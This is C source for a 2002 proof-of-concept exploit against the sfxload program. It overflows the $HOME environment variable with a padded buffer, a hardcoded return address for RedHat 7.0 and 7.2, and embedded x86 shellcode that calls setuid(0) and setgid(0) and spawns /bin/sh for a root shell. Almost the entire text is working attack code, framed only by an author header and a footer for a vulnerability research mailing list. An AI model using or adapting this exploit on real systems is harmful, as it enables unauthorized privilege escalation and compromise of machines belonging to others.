/* --------------------------------------------------------------------------- Web: http://qb0x.net Author: Gabriel A. Maggiotti Date: December 29, 2002 E-mail: gmaggiot@ciudad.com.ar --------------------------------------------------------------------------- This is a proof of concept exploit for sfxload. sfxload user $HOME environment variable without checking it size. This exploit takes advantage from this bug and put a shellcode inside $HOME. */ #include #define OFFSET 284 #define NOP 0x90 #define RET_70 0xbffff840 #define RET_72 0xbffff900 int get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { int i=0; char buf[OFFSET]; int c, ret; unsigned char shellcode1[] = "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0); "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0); "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0); "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc != 2) { fprintf(stderr,"usage: %s \n",argv[0]); fprintf(stderr,"types:\n RedHat 7.0 - [1]"); fprintf(stderr,"\n RedHat 7.2 - [2]\n\n"); return 1; } c=atoi(argv[1]); switch(c) { case 1: printf("Exploiting compress for RedHat 7.0\n"); ret = RET_70 - OFFSET ; break; case 2: printf("Exploiting compress for RedHat 7.2\n"); ret = RET_72 - OFFSET; break; } for(i=0;i<=OFFSET-1 ;i++) buf[i]='A'; *(int *) &buf[i] = ret; memcpy(buf+100,shellcode1,strlen(shellcode1)); setenv("HOME",buf,1); execl("/bin/sfxload", "/bin/sfxload", NULL, NULL); return 0; } /* --------------------------------------------------------------------------- research-list@qb0x.net is dedicated to interactively researching vulnerab- ilities, report potential or undeveloped holes in any kind of computer system. To subscribe to research-list@qb0x.ne t send a blank email to research-list-subscribe@qb0x.net. More help available sending an email to research-list-help@qb0x.net. Note: the list doesn't allow html, it will be stripped from messages. --------------------------------------------------------------------------- */

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